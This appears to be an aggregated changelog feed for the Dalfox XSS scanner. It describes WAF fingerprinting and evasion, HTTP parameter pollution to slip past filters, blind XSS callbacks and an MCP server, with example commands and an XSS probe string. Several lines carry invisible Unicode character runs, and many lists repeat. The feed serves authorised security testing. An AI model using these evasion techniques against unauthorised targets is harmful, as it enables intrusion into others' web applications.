Scan a Cloudflare-protected target with automatic WAF detection and evasion — lets Dalfox fingerprint the WAF, apply Cloudflare-specific pacing (100 ms per request), and stack evasion encoders on top of your own.

$ dalfox scan https://target.app --waf-bypass auto -e url,base64

Force an AWS WAF strategy without relying on fingerprinting, useful when the target suppresses WAF signatures but you already know what is in front of it.

$ dalfox scan https://target.app --force-waf aws --waf-bypass auto

Scan a fragile target that bruises easily under extra probes — skip the active provocation request and add jitter to avoid triggering rate limits while still reporting any passively detected WAF.

$ dalfox scan https://target.app --skip-waf-probe --waf-evasion --waf-min-confidence 0.7

Adds --waf-bypass auto to enable automatic WAF fingerprinting (passive header/body analysis plus a dalfox_waf_probe=<script>alert(1)</script> provocation probe) and apply a per-WAF evasion strategy.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds --force-waf <name> to override fingerprinting and force a specific WAF strategy; accepted names include cloudflare/cf, aws/awswaf/aws-waf, akamai, imperva/incapsula, modsecurity/modsec/owasp-crs/owaspcrs/crs, sucuri, f5/bigip/f5-bigip, barracuda, fortiweb/forti, azure/azurewaf/azure-waf, cloudarmor/cloud-armor/gcp, fastly, wordfence, and citrix/netscaler (case-insensitive; any other value is rejected).
Adds --skip-waf-probe to suppress the active provocation request while still running passive WAF detection on the preflight response.
Adds --waf-bypass off to disable WAF-specific encoders, mutations, per-WAF pacing, and the provocation probe entirely while still reporting passive WAF detections in target_summary.
Adds --waf-evasion to randomize inter-request intervals (jitter, 75–225 ms baseline) and trigger exponential cooldown pauses (2 s, doubling, capped at 30 s) on clusters of 403/406/429/503 responses, and to serialize payloads per parameter instead of sending them concurrently.

+4 more show less

Adds --waf-min-confidence <float> to set the minimum confidence threshold for WAF detection to apply bypass strategies.
WAF-specific extra encoders (unicode, 4url, zwsp) are layered on top of user-supplied -e encoders when a WAF is detected, with duplicates dropped; structural mutations are not run through the extra encoders.
Fingerprints Wallarm, NAXSI, and SafeLine (with no dedicated strategy; these fall back to the generic fallback strategy like unrecognised WAFs).
Records an unknown WAF when a probe returns 403/406/429/503 with no recognisable signature, unless the plain preflight already returned that status or the 429 indicates plain rate limiting.

9 details in Everything

docs update Sep 25, 2026 · issue 085

Dalfox adds dry-run mode, discovery-only mode, GraphQL/XML/multipart body probing, and smarter parameter mining with bucketed requests.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Audit a target without sending any XSS payloads — useful in environments where attack-shaped requests are prohibited.

$ dalfox scan https://target.app/api --dry-run

Mine undeclared parameter names from a remote wordlist while excluding CSRF tokens that would inflate noise.

$ dalfox scan https://target.app --remote-wordlists burp,assetnote --ignore-param csrf --ignore-param __RequestVerificationToken

Scan a GraphQL endpoint and probe each variable field as its own injection point.

$ dalfox scan https://target.app/graphql --only-discovery

Adds --dry-run flag to print the attack plan (target count, parameters found, request estimate) without sending any XSS payloads or attack-shaped requests.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds --only-discovery flag to run the full discovery and mining stage and print one line per discovered parameter (URL, name, location) without scanning.
Adds --ignore-param flag (repeatable) to exclude specific parameter names from scanning, with wildcard pattern support.
Adds --out-of-scope flag (repeatable) to exclude hosts by pattern — does not split on commas, so each pattern must be its own flag.
Adds --remote-wordlists flag accepting source names (e.g. burp,assetnote) for remote parameter wordlists; when loaded, it takes priority over -W and -W acts as fallback.

+13 more show less

Adds -W flag for a local dictionary wordlist file to mine parameter names not present in the original request.
Supports probing GraphQL variables (variables.<path>) as individual injection points, rebuilding the full request (operation + other variables) per payload.
Supports probing XML/SOAP request bodies (application/xhtml+xml), treating each element text node and attribute value as its own injection point.
Supports probing multipart, JSON, and form POST body parameters in addition to query parameters.
Buckets up to 64 candidate parameter names per request (capped at ~8 KiB) during wordlist mining, splitting only ambiguous buckets to minimise request count.
Introduces a mirror-detection sentinel check — three random parameter names are tested first; if all reflect, mining is skipped and a single synthetic injection point is used.
Introduces a rolling reflection-ratio check (≥85% after at least 15 candidates and 5 reflections) to confirm or collapse mined query parameters.
Auto-detects single-step encodings (base64, JSON, JWT, and similar) on query parameters and wraps payloads in the same encoding when the plain marker does not reflect.
Probes path segments as injection points, named by position (e.g. path_segment_0:path) using -p.
Lists URL-fragment parameter keys for visibility (nameable with -p) while skipping active fuzzing since fragments do not reach the server.
Skips heavy payload loops for a parameter when the fast-probe sandwich-marker request sees no reflection, unless --deep-scan is set.
Performs AST-based DOM-XSS analysis once over the landing page and once per parameter on the fast-probe response.
Updates the built-in seed wordlist to include a broader Param Miner seed covering API, authentication, pagination, feature flags, media, and operational parameter names.

Adds --dry-run flag to print the attack plan (target count, parameters found, request estimate) without sending any XSS payloads or attack-shaped requests.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds --only-discovery flag to run the full discovery and mining stage and print one line per discovered parameter (URL, name, location) without scanning.
Adds --ignore-param flag (repeatable) to exclude specific parameter names from scanning, with wildcard pattern support.
Adds --out-of-scope flag (repeatable) to exclude hosts by pattern — does not split on commas, so each pattern must be its own flag.
Adds --remote-wordlists flag accepting source names (e.g. burp,assetnote) for remote parameter wordlists; when loaded, it takes priority over -W and -W acts as fallback.

+11 more show less

Adds -W flag for a local dictionary wordlist file to mine parameter names not present in the original request.
Supports probing GraphQL variables (variables.<path>) as individual injection points, rebuilding the full request (operation + other variables) per payload.
Supports probing XML/SOAP request bodies (application/xhtml+xml), treating each element text node and attribute value as its own injection point.
Buckets up to 64 candidate parameter names per request (capped at ~8 KiB) during wordlist mining, splitting only ambiguous buckets to minimise request count.
Introduces a mirror-detection sentinel check — three random parameter names are tested first; if all reflect, mining is skipped and a single synthetic injection point is used.
Introduces a rolling reflection-ratio check (≥85% after at least 15 candidates and 5 reflections) to confirm or collapse mined query parameters.
Auto-detects single-step encodings (base64, JSON, JWT, and similar) on query parameters and wraps payloads in the same encoding when the plain marker does not reflect.
Probes path segments as injection points, named by position (e.g. path_segment_0:path) using -p.
Lists URL-fragment parameter keys for visibility (nameable with -p) while skipping active fuzzing since fragments do not reach the server.
Skips heavy payload loops for a parameter when the fast-probe sandwich-marker request sees no reflection, unless --deep-scan is set.
Performs AST-based DOM-XSS analysis once over the landing page and once per parameter on the fast-probe response.

2 more in Everything

docs update Sep 25, 2026 · issue 085

Dalfox docs reveal --blind-oob OOB XSS detection, resume/state-file scanning, and HAR/raw-HTTP input handling with --keep-duplicates⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Detect blind/stored XSS that fires in an admin panel by having Dalfox manage an interactsh OOB session and poll for callbacks after the scan.

$ dalfox scan 'https://target.app/feedback?msg=1' --blind-oob --blind-oob=oast.fun --blind-oob-wait 120

Scan a Burp/browser HAR capture to test every recorded request for XSS, adding a fresh auth header on top of the captured credentials.

$ dalfox scan -i har capture.har -H 'Authorization: Bearer <new_token>'

Adds --blind-oob flag (with optional --blind-oob=oast.fun server override and --blind-oob-wait poll duration) to register an interactsh session, mint a per-payload callback host, and surface late-firing XSS as V findings with detection_method: oob.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds -b flag for supplying your own out-of-band callback listener URL for blind XSS payloads without Dalfox managing the interactsh session.
Adds scan resume via a state file: a target's identity is hashed from its URL, method, and request data (body, headers, cookies, user-agent, plus captured values in raw HTTP / HAR inputs), and run-wide credential headers (Authorization, Proxy-Authorization, Cookie, X-Api-Key, *-Api-Key, X-Auth-Token, *-Token, X-CSRF-Token, X-XSRF-Token, *-Session-Id, X-Session-Token, X-Access-Key, X-JWT-Assertion) are excluded from the hash so a refreshed session resumes rather than rescans.
Supports raw HTTP request files as scan input: Dalfox reads method, path, headers, cookies, and body, drops Host, Content-Length, Transfer-Encoding, hop-by-hop, and Accept-Encoding headers, and resolves the scheme from :scheme, :authority, HTTP/2/HTTP/3 request-line markers, or Host ending in :443.
Supports HAR files as scan input via -i har <capture.har>, with each entry becoming a target run through the same scope filters; duplicates are collapsed by URL + method by default.

+8 more show less

Adds meta.targets_unparsable field in reports to count skipped unparseable lines (mailto:, javascript:, tel:, ftp://, truncated fragments) from URL-list scans without failing the run.
Adds --sxss-url flag for stored XSS mode to specify a secondary fetch URL where a payload is expected to land, while also checking the source page, the form action (same-origin only), and discovered form fields.
Adds --baseline-mode option so practitioners can declare what a normal response looks like and disable heuristic reflection detection.
Adds --poc-type, --include-request, --include-response, and --include-all output flags controlling PoC report verbosity.
Adds --retries and --retry-delay flags to control retry behaviour on transport failures.
Adds mcp subcommand exposing a Model Context Protocol stdio server interface.
Adds completion subcommand to print shell completion scripts.
Session-loss monitoring tracks cookies and Cookie/Authorization headers during scans and terminates a job with a SESSION_LOST message when the session is detected as dropped; monitoring is a no-op when no credentials are present.

13 details in Everything

docs update Sep 25, 2026 · issue 085

Dalfox v3 adds MCP stdio server, managed OAST, resumable scans, session monitoring, shell completions, and major CLI flag overhauls.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Run a stored-XSS scan against a login form, letting Dalfox auto-detect the verification URL from form discovery.

$ dalfox scan https://example.com/login --sxss -H 'Cookie: session=abc123' --include-request --include-response

Resume a previous multi-target scan and report only findings new since the last JSON report, with rate limiting to avoid triggering WAF blocks.

$ dalfox scan -f targets.txt --state-file ./dalfox-state.json --baseline ./prev-report.json --rate-limit 30 --retries 3

Scan a captured raw HTTP request exported as a HAR file, enabling managed OAST callback correlation for blind XSS.

$ dalfox scan capture.har --input-type har --blind-oob --max-concurrent-targets 5

Adds dalfox server --type mcp as a dedicated stdio subcommand exposing Dalfox to AI coding assistants over JSON-RPC, replacing v2's server --type mcp approach.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds --blind-oob flag for managed OAST: registers an interactsh session and correlates callbacks to the payload that triggered them, alongside the plain -b callback URL.
Adds --state-file and --baseline flags for resumable and incremental runs — skip targets a previous run completed, or report only findings new since an earlier JSON report.
Adds --rate-limit and --retries flags for pacing and backoff: a global requests-per-second cap shared across all workers, with automatic retries on 5xx and transient errors.
Adds --sxss flag on the scan subcommand for stored-XSS scanning (replaces the removed sxss subcommand); pair with --sxss-url <url> to specify the check URL, or let form discovery auto-detect it.

+12 more show less

Adds --max-concurrent-targets and --max-targets-per-host flags replacing the removed --mass / --multicast / --mass-worker switches for concurrent multi-target scanning.
Adds --skip-mining-dict and --skip-mining-dom flags, replacing removed --mining-dict=false / --mining-dom=false and the old --skip-mining-all / --skip-mining.
Adds --skip-ast-analysis flag — static AST analysis now runs by default and this flag disables it.
Adds --input-type har flag (alongside auto-detection) to force HAR or raw HTTP request parsing from a file (e.g. dalfox scan request.txt), replacing removed --rawdata, --har, and --http switches.
Adds dalfox completion <shell> subcommand for shell completions across bash, zsh, fish, PowerShell, and Elvish.
Adds -p token:header optional location suffix syntax to the -p parameter flag for pinning injection context.
Renames -w, --worker to a new flag with no -w short form; default concurrent workers drops from 100 to 50.
Pluralizes --header to --headers (long form only; -H short form unchanged) and allows multiple -H passes.
Replaces dalfox payload --entity-event-handler, --entity-useful-tags, --entity-special-chars, --remote-portswigger, and --remote-payloadbox switches with positional selectors: dalfox payload event-handlers, useful-tags, special-chars, portswigger, payloadbox.
Adds --silence (-S) mode on file/pipe subcommands that prints only PoC output.
Adds --session-check flag for session monitoring — an authenticated scan whose session drops mid-run is reported as incomplete rather than clean.
Adds per-character probing of reflected parameters (valid_specials / invalid_specials) built in by default to steer payload selection, with no flag required to enable it.

Adds dalfox server --type mcp as a dedicated stdio subcommand exposing Dalfox to AI coding assistants over JSON-RPC, replacing v2's server --type mcp approach.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Adds --blind-oob flag for managed OAST: registers an interactsh session and correlates callbacks to the payload that triggered them, alongside the plain -b callback URL.
Adds --state-file and --baseline flags for resumable and incremental runs — skip targets a previous run completed, or report only findings new since an earlier JSON report.
Adds --rate-limit and --retries flags for pacing and backoff: a global requests-per-second cap shared across all workers, with automatic retries on 5xx and transient errors.
Adds --sxss flag on the scan subcommand for stored-XSS scanning (replaces the removed sxss subcommand); pair with --sxss-url <url> to specify the check URL, or let form discovery auto-detect it.

+7 more show less

Adds --max-concurrent-targets and --max-targets-per-host flags replacing the removed --mass / --multicast / --mass-worker switches for concurrent multi-target scanning.
Adds --skip-ast-analysis flag — static AST analysis now runs by default and this flag disables it.
Adds --input-type har flag (alongside auto-detection) to force HAR or raw HTTP request parsing from a file (e.g. dalfox scan request.txt), replacing removed --rawdata, --har, and --http switches.
Adds dalfox completion <shell> subcommand for shell completions across bash, zsh, fish, PowerShell, and Elvish.
Adds --silence (-S) mode on file/pipe subcommands that prints only PoC output.
Adds --session-check flag for session monitoring — an authenticated scan whose session drops mid-run is reported as incomplete rather than clean.
Adds per-character probing of reflected parameters (valid_specials / invalid_specials) built in by default to steer payload selection, with no flag required to enable it.

5 more in Everything

└──▷ BREAKING ON UPGRADE

!The sxss subcommand is removed; stored-XSS scanning moves to dalfox scan via the --sxss flag.
!The bare dalfox url URL form no longer works; the url subcommand now requires -u/--url (e.g. dalfox url -u URL). Switch scripts to dalfox scan URL.
!--rawdata, --har, and --http input switches are removed; use auto-detection (dalfox scan request.txt) or --input-type har instead.
!The -w short form of --worker is removed; the default worker count drops from 100 to 50.
!--header long form is renamed to --headers; -H short form is unchanged.
!--output-request and --output-response are renamed to --include-request and --include-response.
!--mining-dict=false and --mining-dom=false are removed; use --skip-mining-dict and --skip-mining-dom instead.
!--skip-mining-all and --skip-mining are removed; replaced by --skip-mining-dict and --skip-mining-dom.
!--limit is renamed to --limit-result.
!--mass, --multicast, and --mass-worker are removed; use --max-concurrent-targets and --max-targets-per-host.
!--deep-domxss, --detailed-analysis, --fast-scan, --har-file-path, --output-all, and --context-aware are removed with no v3 replacements.
!--skip-grepping and --only-poc g (grep findings) are removed.
!The --type flag on dalfox server is removed; the server now binds to localhost by default instead of all interfaces — pass --host 0.0.0.0 to restore the previous behavior.
!dalfox payload flag switches --entity-event-handler, --entity-useful-tags, --entity-special-chars, --remote-portswigger, and --remote-payloadbox are replaced by positional selectors.
!--silence-force on file/pipe is replaced by -S/--silence.
!--trigger <url> on the old sxss subcommand is replaced by --sxss-url <url> on dalfox scan.

docs update Sep 25, 2026 · issue 085

Dalfox: Adds out-of-scope pattern file support so a file of host-exclusion patterns (one per line, blank and # lines skipped) can be supplied alongside or instead of inline --out-of-scope flags.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Exclude a government TLD and a specific CDN host from a scan so Dalfox never sends payloads to out-of-scope infrastructure.

$ dalfox scan https://app.example.com --out-of-scope '*.gov' --out-of-scope cdn.example.com

Adds --blind-oob custom blind payload template file support: one template per line, each containing {callback}, which Dalfox replaces with the OOB callback URL; lines missing {callback} are skipped with a warning and fall back to built-in templates.
Adds a custom payload file flag (one payload per line, blank and # lines skipped) that merges with built-in payloads unless the 'use only custom payloads' flag is also set.
Adds a 'use only custom payloads' mode that requires the custom payload file flag (exits on missing file) and suppresses all built-in payloads.
Adds NO_COLOR environment-variable support to disable ANSI colour output.
Adds per-request timeout (seconds) and a per-host concurrent-target cap flag.

+10 more show less

Adds a result cap flag (must be at least 1; omit for no cap) to limit total findings shown.
Adds a re-validation probe URL flag to substitute a cheaper URL when re-validating findings instead of hitting the original scan target.
Adds --config global flag accepting a path (e.g. ./dalfox.toml) that can be placed before or after any subcommand.
Adds --api-key flag for server auth; passing --api-key "" explicitly disables authentication.
Adds CORS origin control for the server mode (comma-separated exact origins, regex:<pattern>, or wildcard; patterns must match the whole origin including port).
Adds plain-text log file output for the server (created mode with group/other-readability warning on Unix).
Adds per-scan outbound request rate cap (requests/sec) and total wall-clock runtime cap (seconds) for server-mode scans.
Adds --payload subcommand flag to print selected payloads as a JSON array instead of one-per-line; without a selector prints a summary (usage examples and per-selector counts) as JSON; unknown selector exits and suggests the closest match.
Adds hidden legacy shorthand commands (dalfox url, dalfox file, dalfox pipe) as v2-era aliases for dalfox scan -i url/file/pipe; an explicit -i flag still wins.
Adds dalfox man hidden command that prints the roff man page to stdout for packaging use.

15 details in Everything

└──▷ BREAKING ON UPGRADE

!The bare dalfox <TARGET> shorthand no longer accepts scan flags other than global ones — scan flags such as --workers now require the explicit dalfox scan <TARGET> --workers form or they are rejected as unexpected arguments.

docs update Sep 24, 2026 · issue 084

Dalfox adds an out-of-scope host file option that aborts scanning if the file is unreadable⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Adds support for a file listing out-of-scope hosts, where an unreadable path aborts the scan to enforce validation; coverage includes the scan target, any OAST server named with --blind-oob=, and the public interactsh mesh.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

1 detail in Everything

docs update Sep 24, 2026 · issue 084

Dalfox gains a full MCP server integration with async scanning, structured output, resources, prompts, and progress streaming.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ TRY IT

Run a blocking MCP scan with progress streaming so your agent sees live phase updates rather than waiting silently for minutes.

$ {"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"scan","arguments":{"target":"https://example.com","wait":true},"_meta":{"progressToken":"tok-abc123"}}}

Poll a finished scan resource directly by URI to attach findings to the model context without re-quoting them through the tool.

$ {"jsonrpc":"2.0","id":2,"method":"resources/read","params":{"uri":"dalfox://scan/<scan_id>"}}

Exposes six tools over MCP, with scans async by default — submit via the tool, poll for results, or pass wait: true to block and stream progress.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Streams notifications/progress against _meta.progressToken on wait=true calls or tools/call, reporting cumulative requests sent, phase, parameters tested, and findings so far.
Publishes outputSchema in tools/list and returns a structuredContent object on tools/call so clients can validate and destructure responses without parsing strings.
Exposes scans as addressable MCP resources: dalfox://scans returns the job index and dalfox://scan/{scan_id} returns one scan's status, progress, and findings.
Returns resources/list with the job index plus one entry per tracked scan (paged with a cursor), bounded at 200 rows for the index.

+9 more show less

Attaches a resource_link content block to any tool result carrying a scan_id, letting clients attach findings directly (omitted for protocol revisions older than 2025-06-18).
Publishes two prompts in the client prompt menu: scan_target (size with preflight, run, report findings by confidence) and triage_findings (read a finished scan along type/detection_method axes).
Supports completion/complete to autocomplete the scan_id argument for the triage_findings prompt and the dalfox://scan/{scan_id} template from currently tracked scans.
Rejects any unrecognised field as a JSON-RPC error (invalid params) naming the offending key and listing every accepted one, rather than silently dropping it.
Exposes a settled field on scan status so clients know when a terminal scan's worker has finished draining and the record is safe to delete or summarise.
Auto-purges terminal scans after 1 hour; running or queued scans must be cancelled before deletion.
Returns instructions in the initialize handshake covering intended tool order, how to read finding axes, and provenance rules.
Annotates each tool with readOnlyHint, destructiveHint, idempotentHint, and openWorldHint behaviour hints so hosts can decide autonomously which calls are safe.
The preflight tool accepts a deliberately smaller argument set than the scan tool (no payload, pacing, WAF, blind XSS, or wait options), mirroring the difference from POST /preflight on the REST side.

14 details in Everything

docs update Sep 24, 2026 · issue 084

Dalfox adds resume-capable scanning with completed-target tracking and an out-of-scope domain exclusion file.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Records completed scan targets to a file and skips them on re-run, with raw HTTP/HAR request data fingerprinted so changed captures are re-scanned; run-wide credential values are excluded from the fingerprint so a refreshed session resumes cleanly.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Supports a file listing out-of-scope domains to exclude from scanning; an unreadable file is a fatal FILE_READ_ERROR to prevent accidentally attacking every host in the exclusion list.

2 details in Everything

v3.2.3 Sep 15, 2026 · issue 076

Dalfox v3.2.3 adds GraphQL and XML/SOAP injection surfaces, wider DOM-XSS AST coverage, and a new sub-not-gsub filter bypass detection.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

└──▷ GET THIS VERSION

$ git clone --branch v3.2.3 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.2.3

Adds GraphQL and XML / SOAP request bodies as new injection surfaces for XSS scanning.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Widens DOM-XSS AST coverage to include Promise combinators, optional chaining, and static bracket paths, with more sinks and sources and fewer false positives.
Detects the sub-not-gsub angle filter bypass: a doubled <<svg ...>> payload opens a real tag where a one-shot str::replace only consumed the first <.
Scans now run concurrently within a parameter, ramp payload batches instead of jumping to a full --workers window, and exit early for endpoints that uniformly escape their echo — significantly cutting scan time.
Cross-origin <form action> targets are no longer probed during parameter discovery, preventing -H headers and --cookies from being sent to page-controlled origins.

Adds GraphQL and XML / SOAP request bodies as new injection surfaces for XSS scanning.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
Detects the sub-not-gsub angle filter bypass: a doubled <<svg ...>> payload opens a real tag where a one-shot str::replace only consumed the first <.

3 more in Everything

docs update Sep 8, 2026 · issue 068

Dalfox adds GraphQL/XML scanning, adaptive WAF evasion with jitter, a REST API server, an MCP server, and a /_dalfox endpoint.

└──▷ TRY IT

Submit a URL to the Dalfox REST API server for XSS scanning without using the CLI directly.

$ curl http://localhost:port/_dalfox

Exposes a REST API server with a /_dalfox endpoint for programmatic XSS scanning.
Adds an MCP server mode for tool integration.
Adds adaptive WAF evasion that applies random jitter between requests and an escalating cooldown when blocked responses cluster, with WAF-specific pacing hints applied automatically on WAF detection even without the flag.
Adds a config file reference and environment variable support for persistent Dalfox configuration.

4 details in Everything

docs update Sep 8, 2026 · issue 068

Dalfox MCP integration gains paginated findings, size-capped pages, untrusted-content notices, and blind-XSS callback validation

Adds _untrusted_content_notice as the first key in every MCP findings response, ensuring agents read the safety warning before acting on scan output whose evidence, response, payload, param, location, and message_str fields contain target-controlled bytes.
Adds offset and limit parameters to page through large MCP result sets, with a pagination object reporting {total, offset, limit, returned, has_more} and truncated_by_size: true / max_page_bytes when a 4 MiB per-page cap cuts a page short.
Validates blind_callback_url at call time — must be empty or start with a recognized scheme — so blind-XSS <script src=...> payloads are not silently injected into every parameter (query, body, header, cookie) with no viable callback.
Validates include_* provider names against registered providers so an unrecognized name fails loudly rather than silently omitting payload coverage from the scan.
Attaches _untrusted_content_notice to discovered-parameter responses as well, since each discovered parameter name is lifted from the target's own markup.

Adds _untrusted_content_notice as the first key in every MCP findings response, ensuring agents read the safety warning before acting on scan output whose evidence, response, payload, param, location, and message_str fields contain target-controlled bytes.
Adds offset and limit parameters to page through large MCP result sets, with a pagination object reporting {total, offset, limit, returned, has_more} and truncated_by_size: true / max_page_bytes when a 4 MiB per-page cap cuts a page short.
Validates blind_callback_url at call time — must be empty or start with a recognized scheme — so blind-XSS <script src=...> payloads are not silently injected into every parameter (query, body, header, cookie) with no viable callback.
Validates include_* provider names against registered providers so an unrecognized name fails loudly rather than silently omitting payload coverage from the scan.

1 more in Everything

docs update Sep 8, 2026 · issue 068

Dalfox gains native GraphQL and XML/SOAP body injection, treating inner values as individual XSS injection points.

└──▷ TRY IT

Scan a GraphQL endpoint for XSS by injecting into each variable leaf while keeping the operation structure valid.

$ dalfox https://target.app/graphql -X POST -H 'Content-Type: application/json' -d '{"query":"query($q:String!){ search(term:$q){ id } }","variables":{"q":"seed"}}'

Scan a SOAP endpoint for XSS by injecting into each XML text node while leaving the envelope and namespaces intact.

$ dalfox https://target.app/soap -X POST -H 'Content-Type: application/soap+xml' -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><search><term>seed</term></search></soap:Body></soap:Envelope>'

Adds graphql parameter type: when the POST body carries a GraphQL operation with a variables object (Content-Type application/json or application/graphql), every string leaf inside variables is registered as its own injection point, and each payload rebuilds the full request so the server receives a valid, parseable GraphQL document.
Adds xml parameter type: when the POST body is an XML or SOAP document (Content-Type text/xml, application/xml, or application/soap+xml, or a body with an <?xml …?> prolog), each element text node and attribute value becomes a separate injection point, injected via byte-range splice so namespaces, sibling elements, and the SOAP envelope are preserved.

2 details in Everything

v3.2.2 Aug 31, 2026 · issue 060

Dalfox v3.2.2 adds WAF fingerprints for Wallarm/NAXSI/SafeLine, a javascript payload selector, and dalfox completion for shell completions.

└──▷ GET THIS VERSION

$ git clone --branch v3.2.2 https://github.com/hahwul/dalfox.git
# already have the repo? check out this version:
$ git checkout v3.2.2

└──▷ TRY IT

Generate a list of canonical JavaScript XSS payloads to review or pipe into a custom scan.

$ dalfox payload javascript

Adds dalfox completion subcommand to generate shell completions, installed alongside the man page by packages.
Adds dalfox payload javascript selector to print canonical JavaScript execution payloads used in JS-string contexts.
Adds slash-separated attribute breakout payloads to dalfox payload for bypassing space-stripping filters.
Config files no longer override flags explicitly typed on the CLI, fixing flag-precedence for all subcommands.

4 details in Everything

docs update Aug 30, 2026 · issue 059

Dalfox adds dalfox payload javascript subcommand to print canonical JS execution payloads for XSS testing.

└──▷ TRY IT

Enumerate built-in JS-context payloads to feed into a custom fuzzer or review coverage before a pentest.

$ dalfox payload javascript

docs update Aug 30, 2026 · issue 059

Dalfox server mode gains rate caps, concurrency limits, reverse-proxy host support, and JS payload context improvements.

└──▷ TRY IT

Run the Dalfox server behind a reverse proxy that forwards traffic under a public hostname, so the Host header is accepted rather than rejected.

$ dalfox server --allowed-hosts xss.example.com

Cap memory usage in long-running server deployments by limiting how many finished scans are retained.

$ dalfox server --max-retained-scans 200

Adds --allowed-hosts flag to accept extra hostnames in the request Host header — required when Dalfox runs behind a reverse proxy that forwards a public hostname.
Adds server-wide cap on each scan's outbound request rate (requests/sec) to limit scan throughput.
Adds server-wide cap on each scan's total wall-clock runtime in seconds, with unbounded default.
Adds --max-retained-scans to cap the number of finished scans kept in memory; oldest are dropped once the limit is exceeded — queued and running scans are never dropped.
Adds a concurrency limit on simultaneous (queued + running) scans; submissions beyond the limit receive a 503 response.

+1 more show less

Adds canonical JavaScript execution payloads for JS-string and script contexts (alert(1), backtick and keyword-split variants) under the javascript payload class.

6 details in Everything

docs update Aug 22, 2026 · issue 053

Dalfox gains completion subcommand for shell autocomplete across bash, zsh, fish, powershell, and elvish

└──▷ TRY IT

Install Dalfox tab-completion in a zsh session so subcommands and flags autocomplete at the prompt.

$ dalfox completion zsh > "${fpath[1]}/_dalfox"

Install Dalfox tab-completion system-wide for bash on a Linux host.

$ dalfox completion bash > /etc/bash_completion.d/dalfox

docs update Aug 22, 2026 · issue 053

Dalfox v3 (Rust rewrite) consolidates scan subcommands, renames flags, and adds MCP server, WAF evasion, dry-run, and more.

└──▷ TRY IT

Run a preflight check on a target to discover parameters and estimate request count before committing to a full scan.

$ dalfox scan https://example.com/search --dry-run

Scan a HAR export with WAF evasion and HTTP parameter pollution enabled, enforcing a 120-second time budget per target.

$ dalfox scan capture.har --waf-evasion --hpp --scan-timeout 120

Scan for stored XSS on a target, scoping payload injection to the query parameter q and capping payloads per parameter to avoid request bursts.

$ dalfox scan 'https://example.com/post?q=test' --sxss -p q:query --max-payloads-per-param 50

Adds dalfox mcp subcommand to expose Dalfox to AI coding assistants over JSON-RPC via an MCP server.
Adds --sxss flag to dalfox scan for stored-XSS scanning (replaces the retired dalfox sxss subcommand).
Adds --input-type raw-http to accept captured raw HTTP requests as scan input.
Adds --scan-timeout <secs> to enforce a hard time budget per target, preventing half-hung servers from stalling a run.
Adds --max-payloads-per-param <int> to cap combinatorial payload expansion and prevent request bursts.

+11 more show less

Adds --dry-run preflight mode that reports discovered parameters and estimated request count without sending any payloads.
Adds --waf-evasion for adaptive WAF evasion: randomizes inter-request timing and escalates cooldown when blocked responses cluster.
Adds --hpp (HTTP parameter pollution) to duplicate query parameters and slip past string-matching WAF layers.
Adds -p, --param <string> with type scoping syntax (e.g. -p id:query, -p sort:body) for per-parameter type targeting.
Supports HAR file input natively — dalfox scan capture.har auto-detects the format.
Unifies dalfox url, dalfox file, and dalfox pipe behind dalfox scan (or bare dalfox [url]); scan is now the default subcommand.
Replaces headless Chrome (chromedp) verification with a compiler-grade JavaScript parser (oxc) that traces data flows and DOM sinks without a browser.
Introduces finding evidence classes: [V] (DOM-level evidence in parsed response) and [A] (static-analysis source-to-sink flow).
Replaces --report / --report-format with -f markdown -o <file> and -f sarif -o <file> output format flags.
Spinners and banners are automatically suppressed for pipes, silent mode (-S), and machine-readable formats (json, sarif).
The async scheduler (tokio) allocates work across cores automatically, eliminating the need for manual CPU pinning via --max-cpu.

16 details in Everything

└──▷ BREAKING ON UPGRADE

!The dalfox url subcommand is retired as a first-class command (survives only as a hidden alias); replace with dalfox scan [url].
!The dalfox file subcommand is retired as a first-class command (survives only as a hidden alias); replace with dalfox scan [file].
!The dalfox pipe subcommand is retired as a first-class command (survives only as a hidden alias); replace with dalfox scan - or cat targets | dalfox scan.
!The dalfox sxss subcommand is removed with no hidden alias; replace with dalfox scan [url] --sxss.
!--concurrence <int> is renamed to --workers <int>.
!-C, --cookie <string> is renamed to --cookies <string>.
!--use-bav and --skip-bav are removed with no replacement; BAV checks are gone entirely from v3.
!--found-action <cmd> and --found-action-shell are removed; use REST API webhooks or pipe stdout instead.
